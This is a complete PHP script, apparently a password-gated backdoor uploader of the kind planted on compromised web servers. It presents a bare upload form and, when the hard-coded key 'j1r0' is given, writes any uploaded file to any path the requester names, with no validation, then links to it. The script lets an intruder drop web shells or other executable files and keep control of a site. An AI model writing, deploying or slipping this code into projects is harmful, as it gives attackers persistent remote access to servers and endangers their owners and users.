<?php
	$key = "j1r0";
	$files = @$_FILES["files"];
	if($files["name"] != '')
	{
		$k = $_POST['private'];
		if($key != $k)
			return;
		$fullpath = $_REQUEST["path"].$files["name"];
		if(move_uploaded_file($files['tmp_name'],$fullpath))
		{			
			echo "<h1><a href='$fullpath'>OK-Click here!</a></h1>";		
		}
	}
	echo '<html><head><title>Upload files...</title></head><body><form method=POST enctype="multipart/form-data" action=""><input type=text name=path><input type="file" name="files"><input type=submit value="Up">
	<input type="text" name="private" id="private" ></form></body></html>';

?>